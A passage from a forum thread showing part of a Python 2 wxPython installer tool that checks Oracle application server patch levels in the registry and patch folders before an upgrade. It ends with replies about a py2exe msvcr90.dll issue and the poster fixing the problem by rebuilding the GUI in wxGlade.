self.updateList('Check for ' + sDir,'does not exist')
os.mkdir(sDir)
if os.path.isdir(sDir):
self.updateList('Created ' + sDir, 'success')
return True
else:
self.updateList('Created ' + sDir, 'FAILED')
self.markError()
return False
def markError(self):
idx = self.listCtrl1.GetItemCount()
idx -= 1
self.listCtrl1.SetItemBackgroundColour(idx,"red")
self.listCtrl1.SetItemTextColour(idx,"white")
def markWarning(self):
idx = self.listCtrl1.GetItemCount()
idx -= 1
self.listCtrl1.SetItemBackgroundColour(idx,"yellow")
def getServerID(self):
sHostname = platform.uname()[1]
self.updateList('Get Hostname', sHostname)
sIP = socket.gethostbyaddr(socket.gethostname())[-1][0]
self.updateList('Get IP', sIP)
fileName = "d:\ssptemp\PCinfo.txt"
FILE = open(fileName,"w")
writeline = "Hostaname: " + sHostname + '\n'
FILE.write(writeline)
writeline = "IP: " + sIP + '\n'
FILE.write(writeline)
FILE.close()
if os.path.isfile(fileName):
return True
else:
return False
#TODO Get Netmask and GW
def getCurrentSSP(self):
try:
key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\IWPC')
SSPYr = QueryValueEx(key, "SSPYr")[0]
SSPQtr = QueryValueEx(key, "SSPQtr")[0]
CloseKey(key)
except WindowsError:
print "no value in reg"
self.updateList('Check Registry for current SSP Level',
'Registry key SSPYr does not exist - Checking Folder Structure')
if os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\9173042'):
SSPYr = '10'
SSPQtr = '02'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\9173036'):
SSPYr = '10'
SSPQtr = '01'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8874212'):
SSPYr = '09'
SSPQtr = '04'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8537043'):
SSPYr = '09'
SSPQtr = '03'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8300356'):
SSPYr = '09'
SSPQtr = '02'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\7608333'):
SSPYr = '09'
SSPQtr = '01'
elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\7135490'):
SSPYr = '09'
SSPQtr = '01'
else:
SSPYr = '99'
SSPQtr = '99'
keyValue = r'SOFTWARE\IWPC'
key = CreateKey(HKEY_LOCAL_MACHINE, keyValue)
SetValueEx(key, "SSPYr", 0, REG_DWORD, int(SSPYr))
SetValueEx(key, "SSPQtr", 0, REG_DWORD, int(SSPQtr))
self.updateList("SSP Value set in registry","Complete")
CloseKey(key)
sCurrentSSP = str(SSPYr) + "-" + str(SSPQtr)
self.updateList('Check Registry for current SSP Level',
'Current SSP is ' + sCurrentSSP)
#TODO Write Reg Value
return sCurrentSSP
def getNextSSP(self, currentSSP):
sCurrentYr, sCurrentQtr = currentSSP.split('-')
if int(sCurrentQtr) == 4:
iNextYr = int(sCurrentYr)+1
iNextQtr = 1
else:
iNextYr = int(sCurrentYr)
iNextQtr = int(sCurrentQtr)+1
sNextSSP = str(iNextYr) + "-" + str(iNextQtr)
self.updateList('Set next SSP Level',
'Next SSP is ' + sNextSSP)
return sNextSSP
def getListSSP(self):
#Get current dir
currentDir = os.getcwd()
#List dirs in current
dirContents = os.listdir(currentDir)
for item in dirContents:
if os.path.isdir(item):
if (item.find('ssp') >= 0):
sSSP = item.lstrip('ssp ')
sYr, sQtr = sSSP.split('-')
iYr = int(sYr)
iQtr = int(sQtr)
self.listSSP.append([iYr,iQtr])
#Put list in yr,qtr order
self.listSSP.sort()
#Display resutls to user
for yr,qtr in self.listSSP:
sSSP = str(yr) + '-' + str(qtr)
self.updateList('Check media for SSPs', sSSP + " is present")
def getSSPStart(self, sNextSSP):
#split next to yr,qtr
print sNextSSP
#Make nextssp to int
sNextYr, sNextQtr = sNextSSP.split('-')
iNextYr = int(sNextYr)
iNextQtr = int(sNextQtr)
for yr,qtr in self.listSSP:
if ([yr,qtr] == [iNextYr,iNextQtr]):
sspStart = str(yr) + '-' + str(qtr)
self.updateList('Set SSP Start', sspStart + ' set as start')
self.sspStartPoint = sspStart
return sspStart
self.updateList('Set SSP Start', 'ERROR: No valid SSP start point found')
self.markError()
return False
def validateSSPMedia(self):
#Get Current SSP Level
sCurrentSSP = self.getCurrentSSP()
print "CURRENT SSP", sCurrentSSP
#Get Next SSP
sNextSSP = self.getNextSSP(sCurrentSSP)
print "NEXT SSP", sNextSSP
#Compile list of SSPs on media
self.getListSSP()
print "LIST SSP", self.listSSP
#define start point
sspStart = self.getSSPStart(sNextSSP)
if sspStart == False:
return False
else:
return True
if __name__ == '__main__':
app = wx.PySimpleApp()
frame = create(None)
frame.Show()
#disable the buttons
frame.btBeginInstall.Disable()
frame.btValidateInfraSystem.Disable()
frame.btValidateIwpcSystem.Disable()
frame.btValidateIwpcSystem.Disable()
frame.btValidateIwpcIwpcdba.Disable()
frame.btValidateLdapOc4jadmin.Disable()
frame.btValidateLdapOrcladmin.Disable()
frame.btValidateIas_admin.Disable()
frame.btValidateiwpcadmin.Disable()
frame.btValidateAll.Disable()
# 1) Prompt with backup warning message - offer to exit
sMessage = """ WARNING: You should always have a valid, tested backup prepared
prior to performing any type of upgrade in case of failure.
Only press YES to continue if you are confident that you will be
able to recover in case of failure"""
successWarning = wx.MessageBox(sMessage, "WARNING", wx.YES_NO)
if (successWarning == wx.YES):
print "User selected Yes to warning"
else:
print "User selected No or cancled"
sys.exit()
# 2) Validate current user = iwpcadmin
successIwpcadmin = frame.validateCurrentUser()
print "iwpcadmin ", successIwpcadmin
# 3) Compile starting variables
successTempDir = frame.createDir('d:\ssptemp')
print "TempDir ", successTempDir
successLogDir = frame.createDir('d:\ssplogs')
print "LogDir ", successLogDir
# 4) Write PC data to PCinfo.txt
successServerID = frame.getServerID()
print "ServerID", successServerID
# 5) Read available from media
successValidateMedia = frame.validateSSPMedia()
print "ValidateMedia", successValidateMedia
testPreReq = [successIwpcadmin,
successTempDir,
successServerID,
successValidateMedia]
for item in testPreReq:
if item == False:
dlg = wx.MessageBox('You have one or more errors and cannot continue',
'Error')
else:
#frame.btBeginInstall.Enable()
frame.btValidateInfraSystem.Enable()
frame.btValidateIwpcSystem.Enable()
frame.btValidateIwpcSystem.Enable()
frame.btValidateIwpcIwpcdba.Enable()
frame.btValidateLdapOc4jadmin.Enable()
frame.btValidateLdapOrcladmin.Enable()
frame.btValidateIas_admin.Enable()
frame.btValidateiwpcadmin.Enable()
frame.btValidateAll.Enable()
app.MainLoop()
I don't have time to read your lengthy code sample, but I wonder if it is the infamous msvcr90.dll issue. I got good feedback on this from the py2exe list here and here.
I rebuilt the code using wxGlade (original was done using boaConstructor) and for some reason, It works. I don't know why or how, but it does. I can provide the new code upon request if somebody is interested.

Categories